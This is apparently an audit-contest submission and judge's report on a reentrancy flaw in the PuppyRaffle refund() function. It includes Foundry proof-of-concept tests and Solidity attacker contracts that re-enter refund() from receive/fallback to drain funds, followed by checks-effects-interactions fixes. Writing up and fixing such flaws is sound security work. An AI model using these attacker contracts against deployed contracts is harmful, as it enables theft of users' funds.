Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Potential Reentrancy, Drained all contract's Funds

Root + Impact

Description

  • In PuppyRaffle.sol, the attacker can steal all funds.

  • The issue here is Reentrancy in which an attacker can re-enter the function refund() multiple times due to the change happen in players array, after the payment is sent to the player.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// @audit Reentrancy issue
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0); // @audit this should be done before the `sendValue` to prevent reentrancy
emit RaffleRefunded(playerAddress);
}

Risk

Impact:

  • The attacker can drain all funds.

Proof of Concept

  • Create a contract that has a receive() or fallback() function.

  • Through that contract, make an entry in PuppyRaffle.sol .

  • Now, call the refund() function.

  • Follow the POC code.

// POC, Reentrancy
function testRefundree() public {
Attacker attacker = new Attacker(address(puppyRaffle));
address[] memory players = new address[](100);
for (uint256 i = 1; i < 100; i++) {
players[i] = address(i);
}
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
console2.log("Contracts balance before refund:", address(puppyRaffle).balance);
vm.deal(address(attacker), 1e9);
attacker.attack();
console2.log("Contracts balance after refund:", address(puppyRaffle).balance);
console2.log("Attacker balance after refund:", address(attacker).balance - 1e9);
}
// Reentrancy attacker, contract
contract Attacker {
PuppyRaffle puppyRaffle;
uint entranceFee;
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
entranceFee = puppyRaffle.entranceFee();
}
function attack() external {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(indexOfPlayer);
}
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(indexOfPlayer);
}
}
fallback() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(indexOfPlayer);
}
}
}

Recommended Mitigation

  • The change in players array should be done before .sendValue.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
// @audit Reentrancy issue
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0); // @audit this should be done before the `sendValue` to prevent reentrancy
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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